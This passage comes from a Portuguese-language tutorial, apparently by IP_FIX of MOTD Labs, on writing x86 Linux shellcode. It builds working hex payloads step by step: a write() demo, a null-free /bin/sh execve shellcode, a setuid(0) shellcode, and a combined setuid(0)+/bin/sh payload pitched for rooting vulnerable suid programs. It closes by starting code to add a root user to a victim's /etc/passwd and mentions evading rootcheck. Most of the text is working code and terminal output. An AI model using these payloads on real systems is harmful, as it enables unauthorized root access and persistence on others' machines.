		   "\x6a\x0a"	          /* push   $0x0A       */
		   "\x68\x4c\x61\x62\x73" /* push   $0x7362614C */
                   "\x68\x4d\x4f\x54\x44" /* push   $0x44544F4D */
		   "\x89\xe1"	          /* mov    %esp, %ecx  */
		   "\xba\x0a\x00\x00\x00" /* mov    $0xa, %edx  */
                   "\xb8\x04\x00\x00\x00" /* mov    $0x4, %eax  */
                   "\xcd\x80"	          /* int    $0x80       */
		   "\xbb\x00\x00\x00\x00" /* mov    $0x0, %ebx  */
                   "\xb8\x01\x00\x00\x00" /* mov    $0x1, %eax  */
                   "\xcd\x80";            /* int    $0x80       */

 main() {

        /* Mostramos o tamanho para se ter um controle maior. */
        printf("Tamanho do Shellcode: %d bytes.\n", sizeof(shellcode));

	/* Criamos um ponteiro para uma função do tipo long. */
        long (*executa) ();

	/* Apontamos a função para o shellcode. */
        executa = shellcode;

	/* E aqui acontece a mágica! :) */
        executa();
}
<--> shellcode/hexawrite.c

	Pronto! Está pronto nosso shellcode.Vamos executá-lo! :D

root@motdlabs:~/IP_FIX/shellcode# gcc -o hexawrite hexawrite.c
hexawrite.c: In function `main':
hexawrite.c:33: warning: assignment from incompatible pointer type
root@motdlabs:~/IP_FIX/shellcode# ./hexawrite
Tamanho do Shellcode: 44 bytes.
MOTDLabs
root@motdlabs:~/IP_FIX/shellcode#

Pronto! Um simples shellcode que imprime uma string na tela com o tamanho de 44;
(43+'\0').  Mostrar o  tamanho é  útil pra  saber se  caberá em  um buffer  numa
situação de buffer overflow.

O  correto  seria  ter  usado  a função  strlen()  para  calcular  o  tamanho do
shellcode, mas, nesse caso, ele só contará até 2, pois ele encerrará a  contagem
no primeiro null byte que encontrar(\x00), por isso o uso da função sizeof().

Viram como é  simples fazer um  shellcode? Não é  nenhuma coisa de  outro mundo,
basta ter  um mínimo  de conhecimento,  força de  vontade e  um pouco de malícia
ajuda também. :)

Mas como tudo na vida geralmente não é tão simples assim, vocês irão  se deparar
com  um  pequeno  problema  caso  tentem  usar  esse  shellcode para explorar um
buffer overflow.

O problema  se encontra  nos "\x00"  que fazem  parte de  nosso shellcode,  pois
quando jogarmos o shellcode dentro do buffer e apontarmos o endereço de  retorno
para o  shellcode, ele  será executado  normalmente até  encontrar um  NULL byte
(0x00), e a execução  do mesmo será interrompida  como se o código  tivesse sido
finalizado, e isso não é nada legal!!! Provavelmente você verá uma mensagem como
"Segmentation Fault" ou "Illegal Instruction".

Calma companheiro! No mundo da  informática sempre tem um segundo  caminho, pode
ser mais fácil ou difícil, mas tudo tem uma segunda saída. Como iremos  resolver
então? É  até simples  a resposta,  muito simples,  vamos olhar  denovo o código
asmwrite.c.

Repare que manuseiamos muitos  0x0 (push $0x0, por  exemplo), mas não é  somente
isso o problema, repare também que usamos os registradores de 32 bits (eax), que
possuem uma parte alta  (ah) e a baixa  (al). Quando fazemos um  mov $0x4, %eax,
por exemplo, não usamos todo o  espaço que o registrador oferece, o  que resulta
em NULL byte já que sobra muito espaço.

 __asm__(
                 "mov    $0x1, %ebx  \n"
		 "push   $0x0A       \n"
		 "push   $0x7362614C \n"
                 "push   $0x44544F4D \n"
		 "mov    %esp, %ecx  \n"
		 "mov    $0xa, %edx  \n"
                 "mov    $0x4, %eax  \n"
                 "int    $0x80       \n"
		 "mov    $0x0, %ebx  \n"
                 "mov    $0x1, %eax  \n"
                 "int    $0x80       \n"
                );

Uma solução efetiva para isso, é simplesmente ao invés de jogarmos os 0x0 direto
na pilha (push $0x0)  ou movermos 0x0 para  um registrador (mov $0x0,  %ebx) nós
podemos zerar  o próprio  registrador com  xor (xor  %eax, %eax)  e jogar para a
pilha (push %eax) assim não terá a necessidade de manusearmos os 0x0.

A outra solução,  é também usarmos  a parte baixa  dos registradores (mov  $0xb,
%dl), que faz com que não seje desperdiçado espaço já que estamos usando  apenas
uma parte dele. A modificação é simples, e ficará da seguinte forma:

<++> shellcode/asmwrite2.c
/*
 *  Protótipo de um shellcode em ASM.
 *  Imprime a string "MOTDLabs" na tela.
 *  by IP_FIX .
 *  MotdLabs .
 *  Compilação: # gcc -o asmwrite2 asmwrite2.c
 */

#include

main()
{
        __asm__(
		 "xor  %eax, %eax  \n" /* Sem isso nosso código em hexa não roda. :/                                      */
	         "xor  %ebx, %ebx  \n" /* Precisamos zerar %ebx, para jogarmos o $0x1.                                    */
		 "mov  $0x1, %bl   \n" /* STDOUT da função write().                                                       */
		 "push $0x0A       \n" /* Aqui temos... (\n)                                                              */
		 "push $0x7362614C \n" /* ...nossa string... (sbaL)                                                       */
                 "push $0x44544F4D \n" /* ...ao contrário. (DTOM)                                                         */
		 "mov  %esp, %ecx  \n" /* Jogamos nossa string para o contador. Como é muito grande, não usaremos %cl.    */
		 "xor  %edx, %edx  \n" /* Precisamos zerar %edx, senão terá uma saída suja (imprimirá mais do esperado).  */
		 "mov  $0xa, %dl   \n" /* Aqui está o tamanho da string: 0xa=10. Jogamos para o registradador de dados.   */
                 "mov  $0x4, %al   \n" /* Nossa querida system call de write().                                           */
                 "int  $0x80       \n" /* A melhor hora! Cai pro modo kernel e executa tudo acima!                        */
                 "xor  %eax, %eax  \n" /* Sem isso nosso código em hexa não roda. :/                                      */
		 "xor  %ebx, %ebx  \n" /* Como zeramos %ebx, não será necessário o mov $0x0, %ebx.                        */
		 "mov  $0x1, %al   \n" /* Outra querida system call, da função exit() dessa vez.                          */
                 "int  $0x80       \n" /* Finalmente! Tudo é executado!                                                   */
                 );
}
<--> shellcode/asmwrite2.c

Terminado! Captaram  as alterações?   Como perceberam,  foram poucas.  Uns xor's
aqui,  uns %al  alí e  pronto! Será  que ele  ficou realmente  sem NULL's bytes?
Vamos ver!!! :P

Mas antes reparem que eu adicionei um "xor %eax, %eax" no início de cada  função
ao código pois sem  eles não conseguiremos rodar  nosso programa somente com  os
opcodes em hexadecimal.

root@motdlabs:~/IP_FIX/shellcode# gcc -o asmwrite2 asmwrite2.c
root@motdlabs:~/IP_FIX/shellcode# ./asmwrite2
MOTDLabs
root@motdlabs:~/IP_FIX/shellcode#

	Compilamos e executamos sem problemas.
        Vamos debugar:

root@motdlabs:~/IP_FIX/shellcode# gdb asmwrite2
GNU gdb 5.3
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-slackware-linux"...
(gdb) disas main
Dump of assembler code for function main:
0x8048314 :       push   %ebp
0x8048315 :     mov    %esp,%ebp
0x8048317 :     sub    $0x8,%esp
0x804831a :     and    $0xfffffff0,%esp
0x804831d :     mov    $0x0,%eax
0x8048322 :    sub    %eax,%esp
0x8048324 :    xor    %eax,%eax
0x8048326 :    xor    %ebx,%ebx
0x8048328 :    mov    $0x1,%bl
0x804832a :    push   $0xa
0x804832c :    push   $0x7362614c
0x8048331 :    push   $0x44544f4d
0x8048336 :    mov    %esp,%ecx
0x8048338 :    xor    %edx,%edx
0x804833a :    mov    $0xa,%dl
0x804833c :    mov    $0x4,%al
0x804833e :    int    $0x80
0x8048340 :    xor    %eax,%eax
0x8048342 :    xor    %ebx,%ebx
0x8048344 :    mov    $0x1,%al
0x8048346 :    int    $0x80
0x8048348 :    leave
0x8048349 :    ret
0x804834a :    nop
0x804834b :    nop
0x804834c :    nop
0x804834d :    nop
0x804834e :    nop
0x804834f :    nop
End of assembler dump.
(gdb)

Repare que agora o código começa em , como antes, mas agora termina  em
. A retirada dos  null's bytes fez o  programa fica menor ainda.  Vamos
capturar os opcodes novamente.:

(gdb) x/xb main+16
0x8048324 :    0x31
(gdb)
0x8048325 :    0xc0
(gdb)
0x8048326 :    0x31
(gdb)
0x8048327 :    0xdb
(gdb)
0x8048328 :    0xb3
(gdb)
...
...
...
0x8048343 :    0xdb
(gdb)
0x8048344 :    0xb0
(gdb)
0x8048345 :    0x01
(gdb)
0x8048346 :    0xcd
(gdb)
0x8048347 :    0x80
(gdb)

Agora iremos montá-lo denovo, somente com os códigos em hexadecimal.:

<++> shellcode/hexawrite2.c
/*
 *  Shellcode pronto em hexadecimal.
 *  Imprime a string "MOTDLabs" na tela.
 *  by IP_FIX .
 *  MotdLabs .
 *  Compilação: # gcc -o hexawrite2 hexawrite2.c
 */

#include

char shellcode[] = "\x31\xc0"             /* xor    %eax, %eax  */
		   "\x31\xdb"             /* xor    %ebx, %ebx  */
		   "\xb3\x01"             /* mov    $0x1, %bl   */
		   "\x6a\x0a"             /* push   $0x0A       */
		   "\x68\x4c\x61\x62\x73" /* push   $0x7362614C */
		   "\x68\x4d\x4f\x54\x44" /* push   $0x44544F4D */
		   "\x89\xe1"             /* mov    %esp, %ecx  */
		   "\x31\xd2"             /* xor    %edx, %edx  */
		   "\xb2\x0a"             /* mov    $0xa, %dl   */
		   "\xb0\x04"             /* mov    $0x4, %al   */
		   "\xcd\x80"             /* int    $0x80       */
		   "\x31\xc0"             /* xor    %eax, %eax  */
		   "\x31\xdb"             /* xor    %ebx, %ebx  */
                   "\xb0\x01"             /* mov    $0x1, %al   */
		   "\xcd\x80";            /* int    $0x80       */

 main() {

        /* Mostramos o tamanho para se ter um controle maior. */
        printf("Tamanho do Shellcode: %d bytes.\n", strlen(shellcode));

	/* Criamos um ponteiro para uma função do tipo long. */
        long (*executa) ();

	/* Apontamos a função para o shellcode. */
        executa = shellcode;

	/* E aqui acontece a mágica! :) */
        executa();
}
<--> shellcode/hexawrite2.c

root@motdlabs:~/IP_FIX/shellcode# gcc -o hexawrite2 hexawrite2.c
hexawrite2.c: In function `main':
hexawrite2.c:36: warning: assignment from incompatible pointer type
root@motdlabs:~/IP_FIX/shellcode# ./hexawrite2
Tamanho do Shellcode: 36 bytes.
MOTDLabs
root@motdlabs:~/IP_FIX/shellcode#

w00w00!!! Código bem menor, mais elegante e continua funcional!!!

A retirada dos 0x00 fizeram uma grande diferença em nosso código. Perceberam  só
como não tem muito segredo escrever um shellcode, é tudo questão de raciocínio e
assembly! :P

Para escrevermos na  tela foram empurrados  letras em hexadecimal  para o stack.
Aqui está a tabela ascii para você acompanhar esse artigo com mais clareza.:

root@motdlabs:~/IP_FIX/shellcode# man ascii

       Oct   Dec   Hex   Char           Oct   Dec   Hex   Char
       ------------------------------------------------------------
       000   0     00    NUL '\0'       100   64    40    @
       001   1     01    SOH            101   65    41    A
       002   2     02    STX            102   66    42    B
       003   3     03    ETX            103   67    43    C
       004   4     04    EOT            104   68    44    D
       005   5     05    ENQ            105   69    45    E
       006   6     06    ACK            106   70    46    F
       007   7     07    BEL '\a'       107   71    47    G
       010   8     08    BS  '\b'       110   72    48    H
       011   9     09    HT  '\t'       111   73    49    I
       012   10    0A    LF  '\n'       112   74    4A    J
       013   11    0B    VT  '\v'       113   75    4B    K
       014   12    0C    FF  '\f'       114   76    4C    L
       015   13    0D    CR  '\r'       115   77    4D    M
       016   14    0E    SO             116   78    4E    N
       017   15    0F    SI             117   79    4F    O
       020   16    10    DLE            120   80    50    P
       021   17    11    DC1            121   81    51    Q
       022   18    12    DC2            122   82    52    R
       023   19    13    DC3            123   83    53    S
       024   20    14    DC4            124   84    54    T
       025   21    15    NAK            125   85    55    U
       026   22    16    SYN            126   86    56    V
       027   23    17    ETB            127   87    57    W
       030   24    18    CAN            130   88    58    X
       031   25    19    EM             131   89    59    Y
       032   26    1A    SUB            132   90    5A    Z
       033   27    1B    ESC            133   91    5B    [
       034   28    1C    FS             134   92    5C    \   '\\'
       035   29    1D    GS             135   93    5D    ]
       036   30    1E    RS             136   94    5E    ^
       037   31    1F    US             137   95    5F    _
       040   32    20    SPACE          140   96    60    `
       041   33    21    !              141   97    61    a
       042   34    22    "              142   98    62    b
       043   35    23    #              143   99    63    c
       044   36    24    $              144   100   64    d
       045   37    25    %              145   101   65    e
       046   38    26    &              146   102   66    f
       047   39    27    '              147   103   67    g
       050   40    28    (              150   104   68    h
       051   41    29    )              151   105   69    i
       052   42    2A    *              152   106   6A    j
       053   43    2B    +              153   107   6B    k
       054   44    2C    ,              154   108   6C    l
       055   45    2D    -              155   109   6D    m
       056   46    2E    .              156   110   6E    n
       057   47    2F    /              157   111   6F    o
       060   48    30    0              160   112   70    p
       061   49    31    1              161   113   71    q
       062   50    32    2              162   114   72    r
       063   51    33    3              163   115   73    s
       064   52    34    4              164   116   74    t
       065   53    35    5              165   117   75    u
       066   54    36    6              166   118   76    v
       067   55    37    7              167   119   77    w
       070   56    38    8              170   120   78    x
       071   57    39    9              171   121   79    y
       072   58    3A    :              172   122   7A    z
       073   59    3B    ;              173   123   7B    {
       074   60    3C    <              174   124   7C    |
       075   61    3D    =              175   125   7D    }
       076   62    3E    >              176   126   7E    ~
       077   63    3F    ?              177   127   7F    DEL

        Sempre que precisar consulte ela pelo terminal.

O cwrite foi  só um exemplo  básico para se  pegar a idéia  essencial de como se
constrói um shellcode.  Com essa base,  podemos nos aprofundar  um pouco mais  e
escrever algo mais divertido. :)

Agora vamos  escrever um  shellcode que  irá nos  dar uma  shell. Sim  amigos, o
famoso  "/bin/sh"!!!  Todo  tutorial  de  shellcode  que  se  preze mostra  como
fazê-lo... :P

A coisa se complicará um pouco comparando com o primeiro, mas vamos escrever  da
forma mais simples possível e passo-a-passo, com isso espero ampliar sua mente e
tirar sua dúvida, jovem fuçador. :) Chega de papo e vamos lá!!! =)

	Como de costume, vamos escrever primeiramente o protótipo em C.

<++> shellcode/csh.c
/*
 *  Protótipo de shellcode em C.
 *  Abre uma shell /bin/sh.
 *  by IP_FIX .
 *  MotdLabs .
 *  Compilação: # gcc -o csh csh.c
 */

#include

main() {

char *string[2];

string[0]= "/bin/sh";
string[1]= '\0';

execve(string[0], string, '\0');
exit(0);

}
<--> shellcode/csh.c

	Vamos compilá-lo e executá-lo.:

root@motdlabs:~/IP_FIX/shellcode# gcc -o csh csh.c
root@motdlabs:~/IP_FIX/shellcode# ./csh
sh-2.05b#

Funciona perfeitamente.  Mas agora  precisamos entender  como funciona  a função
execve().:

root@motdlabs:~/IP_FIX/shellcode# man execve

int execve(const char *filename, char *const argv [], char *const envp[]);

Bem, se seguirmos a analogia  do que a man page  nos diz, veremos que temos  que
criar um ponteiro com vetor para o que queremos executar (char *filename), e  um
outro ponteiro para o argumento que será passado (char *const argv []).

Ou seja, temos que ter nossa string (string[0]), no primeiro argumento,  seguido
por um byte nulo (string[1]) no segundo argumento, pra indicar o fim da  string.
Como não usaremos  nenhuma variável ambiente,  colocamos um null  byte no último
argumento.

Repare que  não podemos  fazer da  seguinte forma:  execve("/bin/sh",'\0','\0"),
pois se  tem a  necessidade de  passar os  bytes nulos  através do  ponteiro com
vetor. A man page explica isso direitinho. :)

Agora vamos  voltar ao  trabalho. Agora  que sabemos  a forma  de executar o que
queremos, temos que transpor isso para assembly. Vamos usar nossa tabelinha para
ver como devemos manuesar a função execve() em baixo-nível.:

 _________________________________________________________________________________________________
|%eax|    Name    |           Source           |      %ebx      |   %ecx  |  %edx   | %esx | %edi |
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''-'''''''''''''
| 11 |  sys_exeve | arch/i386/kernel/process.c | char *filename | *argv[] | *envp[] |      |      |
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

	Ok! Temos as informações necessárias, vamos tentar montá-lo agora em ASM.:

<++> shellcode/asmsh.c
/*
 *  Protótipo de shellcode em ASM.
 *  Abre uma shell /bin/sh.
 *  by IP_FIX .
 *  MotdLabs .
 *  Compilação: # gcc -o asmsh asmsh.c
 */

#include

main() {
	__asm__ (
	           "xor  %eax, %eax  \n" /* Zeramos %eax.                                                             */
		   "push %eax        \n" /* Byte nulo da string /bin/sh para encerrá-la. (char *filename,...          */
		   "push $0x68732F2F \n" /* Foi colocado duas barras (//) para não ficar com null byte.               */
		   "push $0x6E69622F \n" /* /bin//sh                                                                  */
		   "mov  %esp, %ebx  \n" /* Agora que temos tudo no stack, movemos para %ebx: (char *filename,...     */
		   "push %eax        \n" /* NULL byte que finaliza a string /bin/sh no ...char *const argv[],...      */
		   "push %ebx        \n" /* Devolve o valor antigo do stack pro novo stack.                           */
		   "mov  %esp, %ecx  \n" /* Com a string novamente no stack, vai para %ecx: ...char *const argv[],... */
		   "xor  %edx, %edx  \n" /* Zeramos %edx para deixar um null byte. %edx: ...char *const envp[]);      */
		   "mov  $0xb, %al   \n" /* System Call da função execve(), 0xb = 11.                                 */
		   "int  $0x80       \n" /* Ação! :)                                                                  */
		   "xor  %eax, %eax  \n" /* %eax == 0	                                                              */
		   "xor  %ebx, %ebx  \n" /* %ebx == 0 == EXIT_SUCCESS                                                 */
		   "mov  $0x1, %al   \n" /* sys_call de exit()                                                        */
		   "int  $0x80       \n" /* Play! :P                                                                  */
	          );
}
<--> shellcode/asmsh.c

root@motdlabs:~/IP_FIX/shellcode# gcc -o asmsh asmsh.c
root@motdlabs:~/IP_FIX/shellcode# ./asmsh
sh-2.05b#

w00w00!!! Nada  de jmp,  call, pop,  inc, etc...  apenas instruções  simples que
vimos no exemplo de write().

Mas  não  terminamos,  temos  que  pegar  os  opcodes  para  montarmos  ele   em
hexadecimal.:

root@motdlabs:~/IP_FIX/shellcode# gdb asmsh
GNU gdb 5.3
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-slackware-linux"...
(gdb) disas main
Dump of assembler code for function main:
0x8048314 :       push   %ebp
0x8048315 :     mov    %esp,%ebp
0x8048317 :     sub    $0x8,%esp
0x804831a :     and    $0xfffffff0,%esp
0x804831d :     mov    $0x0,%eax
0x8048322 :    sub    %eax,%esp
0x8048324 :    xor    %eax,%eax
0x8048326 :    push   $0x68732f2f
0x804832b :    push   $0x6e69622f
0x8048330 :    mov    %esp,%ebx
0x8048332 :    push   %eax
0x8048333 :    push   %ebx
0x8048334 :    mov    %esp,%ecx
0x8048336 :    xor    %edx,%edx
0x8048338 :    mov    $0xb,%al
0x804833a :    int    $0x80
0x804833c :    xor    %eax,%eax
0x804833e :    xor    %ebx,%ebx
0x8048340 :    mov    $0x1,%al
0x8048342 :    int    $0x80
0x8048344 :    leave
0x8048345 :    ret
0x8048346 :    nop
0x8048347 :    nop
0x8048348 :    nop
0x8048349 :    nop
0x804834a :    nop
0x804834b :    nop
0x804834c :    nop
0x804834d :    nop
0x804834e :    nop
0x804834f :    nop
End of assembler dump.
(gdb) x/xb main+16
0x8048324 :    0x31
(gdb)
0x8048325 :    0xc0
(gdb)
0x8048326 :    0x50
(gdb)
0x8048327 :    0x68
(gdb)
0x8048328 :    0x2f
(gdb)
...
...
...
0x8048340 :    0xdb
(gdb)
0x8048341 :    0xb0
(gdb)
0x8048342 :    0x01
(gdb)
0x8048343 :    0xcd
(gdb)
0x8048344 :    0x80
(gdb)

<++> shellcode/hexash.c
/*
 *  Protótipo de shellcode em ASM.
 *  Abre uma shell /bin/sh.
 *  by IP_FIX .
 *  MotdLabs .
 *  Compilação: # gcc -o hexash hexash.c
 */

#include

char shellcode[] = "\x31\xc0"             /* xor  %eax, %eax  */
     		   "\x50"                 /* push %eax        */
		   "\x68\x2f\x2f\x73\x68" /* push $0x68732F2F */
		   "\x68\x2f\x62\x69\x6e" /* push $0x6E69622F */
		   "\x89\xe3"             /* mov  %esp, %ebx  */
		   "\x50"                 /* push %eax        */
		   "\x53"                 /* push %ebx        */
		   "\x89\xe1"             /* mov  %esp, %ecx  */
		   "\x31\xd2"             /* xor  %edx, %edx  */
		   "\xb0\x0b"             /* mov  $0xb, %al   */
		   "\xcd\x80"             /* int  $0x80       */
		   "\x31\xc0"	          /* xor  %eax, %eax  */
		   "\x31\xdb"             /* xor  %ebx, %ebx  */
		   "\xb0\x01"             /* mov  $0x1, %al   */
		   "\xcd\x80";            /* int  $0x80       */

main() {

        /* Mostramos o tamanho para se ter um controle maior.   */
        printf("Tamanho do Shellcode: %d bytes.\n", strlen(shellcode));

	/* Criamos um ponteiro para uma função do tipo long.    */
        long (*executa) ();

	/* Apontamos a função para o shellcode.                 */
        executa = shellcode;

	/* E aqui acontece a mágica! :)                         */
        executa();
}
<--> shellcode/hexash.c

root@motdlabs:~/IP_FIX/shellcode# gcc -o hexash hexash.c
hexash.c: In function `main':
hexash.c:36: warning: assignment from incompatible pointer type
root@motdlabs:~/IP_FIX/shellcode# ./hexash
Tamanho do Shellcode: 33 bytes.
sh-2.05b#

w00w00!!!  Um shellcode  /bin/sh de  33 bytes.  Isso é  incrível pra  quem está
acostumado com  o tamanho  do Aleph1  (45 bytes),  mas não  tem nenhuma  técnica
desconhecida.

Que tal incrementarmos um  pouquinho? É mais que  óbvio que usaremos essa  shell
para conseguir acesso remoto através de alguma vulnerabilidade. E que tal  assim
que cairmos, termos permissões  root (uid=0)??? Sim! Isso  é possível, e é  mais
fácil do que você imagina. Vamos ver.:

<++> shellcode/csetuid.c
/*
 *  Protótipo de shellcode em C.
 *  Seta uid atual para 0.
 *  by IP_FIX .
 *  MotdLabs .
 *  Compilação: # gcc -o csetuid csetuid.c
 */
 #include

 main() {

 	setuid(0);

}
<--> shellcode/csetuid.c

root@motdlabs:~/IP_FIX/shellcode# gcc -o csetuid csetuid.c
root@motdlabs:~/IP_FIX/shellcode# ./csetuid
root@motdlabs:~/IP_FIX/shellcode#

	Ok, agora vamos ver como funciona e criá-lo em ASM:

root@motdlabs:~/IP_FIX/shellcode# man setuid

int setuid(uid_t uid);

uid: user identity; aqui  vai o número que  o user será identificado,  lembrando
que 0 é root, e acima disso é user normal ($).

	Sem problemas, agora vamos ver a system call table dele.:
 _____________________________________________________________________________________________
|%eax|    Name    |           Source           |      %ebx    |  %ecx  |  %edx  | %esx | %edi |
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
| 23 | sys_setuid |        kernel/sys.c        |     uid_t    |        |        |      |      |
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

Bom, então  é só  movermos 23  pra %eax,  0 para  %ebx e  dar um int $0x80 que a
mágica acontece! :D

<++> shellcode/asmsetuid.c
/*
 *  Protótipo de shellcode em ASM.
 *  Seta uid atual para 0.
 *  by IP_FIX .
 *  MotdLabs .
 *  Compilação: # gcc -o asmsetuid asmsetuid.c
 */
#include

main() {

	__asm__(
		 "xor %eax, %eax \n" /* %eax == 0    */
		 "xor %ebx, %ebx \n" /* uid == 0.    */
		 "mov $0x17, %al \n" /* %al == 23.   */
		 "int $0x80      \n" /* Modo Kernel. */
	        );
}
<--> shellcode/asmsetuid.c

Tão  simples quanto  exit(). Vamos  compilar, testar,  debugar e  capturar seus
opcodes em hexadecimal.:

root@motdlabs:~/IP_FIX/shellcode# gcc -o asmsetuid asmsetuid.c
root@motdlabs:~/IP_FIX/shellcode# ./asmsetuid
root@motdlabs:~/IP_FIX/shellcode# gdb asmsetuid
GNU gdb 5.3
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-slackware-linux"...
(gdb) disas main
Dump of assembler code for function main:
0x8048314 :       push   %ebp
0x8048315 :     mov    %esp,%ebp
0x8048317 :     sub    $0x8,%esp
0x804831a :     and    $0xfffffff0,%esp
0x804831d :     mov    $0x0,%eax
0x8048322 :    sub    %eax,%esp
0x8048324 :    xor    %eax,%eax
0x8048326 :    xor    %ebx,%ebx
0x8048328 :    mov    $0x17,%al
0x804832a :    int    $0x80
0x804832c :    leave
0x804832d :    ret
0x804832e :    nop
0x804832f :    nop
End of assembler dump.
(gdb) x/xb main+16
0x8048324 :    0x31
(gdb)
0x8048325 :    0xc0
(gdb)
0x8048326 :    0x31
(gdb)
0x8048327 :    0xdb
(gdb)
0x8048328 :    0xb0
(gdb)
0x8048329 :    0x17
(gdb)
0x804832a :    0xcd
(gdb)
0x804832b :    0x80
(gdb)

	Montando...:

<++> shellcode/hexasetuid.c
/*
 *  Shellcode pronto em hexadecimal.
 *  Seta uid atual para 0.
 *  by IP_FIX .
 *  MotdLabs .
 *  Compilação: # gcc -o hexasetuid hexasetuid.c
 */

#include

char shellcode[] = "\x31\xc0"  /* xor %eax, %eax */
		   "\x31\xdb"  /* xor %ebx, %ebx */
                   "\xb0\x17"  /* mov $0x17, %al */
                   "\xcd\x80"; /* int $0x80      */

 main() {

        /* Mostramos o tamanho para se ter um controle maior. */
        printf("Tamanho do Shellcode: %d bytes.\n", strlen(shellcode));

	/* Criamos um ponteiro para uma função do tipo long. */
        long (*executa) ();

	/* Apontamos a função para o shellcode. */
        executa = shellcode;

	/* E aqui acontece a mágica! :) */
        executa();
}
<--> shellcode/hexasetuid.c

	Compilando e executando...

root@motdlabs:~/IP_FIX/shellcode# gcc -o hexasetuid hexasetuid.c
hexasetuid.c: In function `main':
hexasetuid.c:25: warning: assignment from incompatible pointer type
root@motdlabs:~/IP_FIX/shellcode# ./hexasetuid
Tamanho do Shellcode: 8 bytes.
Segmentation fault
root@motdlabs:~/IP_FIX/shellcode#

	Pronto!!! Viram como é simples fazer um simples setuid(0)?

Um  detalhe  galera,  vocês  devem  ter  notado  que  houve  uma  saída  errada:
"Segmentation  fault".  Não se  alarmem,  isso se  deve  ao fato  de  não termos
colocado um  exit(0). Em  compiladores menores  que o  3.3.1 não  era necessário
colocar o exit(0),  pois sua saída  seria sempre limpa,  mas agora ele  tem umas
frescuras... Bom,  nosso código  não está  errado e  vocês verão  que está certo
mesmo. ;)

Agora você deve estar se perguntado  como você executará isso num futuro  uso. É
simples, somente temos que acoplar numa shell padrão como o nosso /bin/sh. Como?
Basta aplicar o código sobre o anterior da seguinte maneira.:

<++> shellcode/shsetuid.c
/*
 *  Shellcode pronto em hexadecimal.
 *  Abre uma shell /bin/sh + setuid(0) + exit(0).
 *  by IP_FIX .
 *  MotdLabs .
 *  Compilação: # gcc -o shsetuid shsetuid.c
 */

#include

char shellcode[] = "\x31\xc0"             /* xor  %eax, %eax  */
		   "\x31\xdb"             /* xor  %ebx,%ebx   */
                   "\xb0\x17"             /* mov  $0x17,%al   */
                   "\xcd\x80"             /* int  $0x80       */ /* setuid(0); */
                   "\x31\xc0"             /* xor  %eax, %eax  */
     		   "\x50"                 /* push %eax        */
		   "\x68\x2f\x2f\x73\x68" /* push $0x68732F2F */
		   "\x68\x2f\x62\x69\x6e" /* push $0x6E69622F */
		   "\x89\xe3"             /* mov  %esp, %ebx  */
		   "\x50"                 /* push %eax        */
		   "\x53"                 /* push %ebx        */
		   "\x89\xe1"             /* mov  %esp, %ecx  */
		   "\x31\xd2"             /* xor  %edx, %edx  */
		   "\xb0\x0b"             /* mov  $0xb, %al   */
		   "\xcd\x80"             /* int  $0x80       */ /* /bin/sh; */
		   "\x31\xc0"		  /* xor  %eax, %eax  */
		   "\x31\xdb"             /* xor  %ebx, %ebx  */
		   "\xb0\x01"             /* mov  $0x1, %al   */
		   "\xcd\x80";            /* int  $0x80       */ /* exit(0). */

 main() {

        /* Mostramos o tamanho para se ter um controle maior. */
        printf("Tamanho do Shellcode: %d bytes.\n", strlen(shellcode));

	/* Criamos um ponteiro para uma função do tipo long. */
        long (*executa) ();

	/* Apontamos a função para o shellcode. */
        executa = shellcode;

	/* E aqui acontece a mágica! :) */
        executa();
}
<--> shellcode/shsetuid.c

	Compilando e executando...

root@motdlabs:~/IP_FIX/shellcode# gcc -o shsetuid shsetuid.c
shsetuid.c: In function `main':
shsetuid.c:41: warning: assignment from incompatible pointer type
root@motdlabs:~/IP_FIX/shellcode# ./shsetuid
Tamanho do Shellcode: 41 bytes.
sh-2.05b#

w00w00!!! Um shellcode  /bin/sh com setuid(0)  + exit(0) por  apenas 41 bytes!!!
Repare que para criá-lo não foi preciso refazer todo o código novamente,  apenas
adicionamos um novo código ao velho, sem termos complicações.

Muito útil para conseguirmos acesso root através de programas bugados que  sejam
suid root (chmod +s).

Puxa vida, sabemos criar shellcodes que escreve na tela, abre shells
e que ainda podemos conseguir previlégios root dependendo da situação, então o
que nos impede de criarmos mais?

Você terá  que escrever  diferentes shellcodes  dependendo da  situação,  haverá
certos  casos  que   existirão  programas  que   não  permitirão a  obtenção  de
shell  através de  ataques  básicos  como buffer  overflow (stack) e teremos que
ser criativos para burlamos.  Enfim, cada caso é  um caso! Nem sempre  as coisas
são o que  parecem ser, então  teremos que  ter  uma grande malícia  para burlar
determinados  sistemas  de  proteção  como  o  rootcheck,  por  exemplo,  que ao
obtermos uma root shell não autorizada,  o próprio irá killar o processo  em que
estamos.

Ohhh!!! Será o fim??? Claro que não!!! Programas desse gênero derruba quem obtém
uma root shell  atráves de shellcodes  como o acima,  mas não existe  apenas uma
maneira de conseguirmos acesso root, como conseguiremos então?

Pense o seguinte: Sabemos escrever na  tela, o que nos impede de  escrevermos em
arquivos?  Sabendo  disso,  nada  nos  impede  de  adicionarmos  um  usuário com
privilégios root no /etc/passwd da vítima!!! Devolta aos protótipos!!! :D

<++> shellcode/cpasswd.c
/*
 *  Protótipo de shellcode em C.
 *  Adiciona um usuário com premissões root.
 *  by IP_FIX .
 *  MotdLabs .
 *  Compilação: # gcc -o cpasswd cpasswd.c
 */

#include
#include
#include

main() {

/* Declaramos passwd como um inteiro. */
int passwd;

/* Usamos open para abrir o arquivo; atenção nas flags!!!
 * O_RDWR: Read and Write/Leitura e Escrita.
 * O_APPEND: O ponteiro será apontado no fim do arquivo.
 */

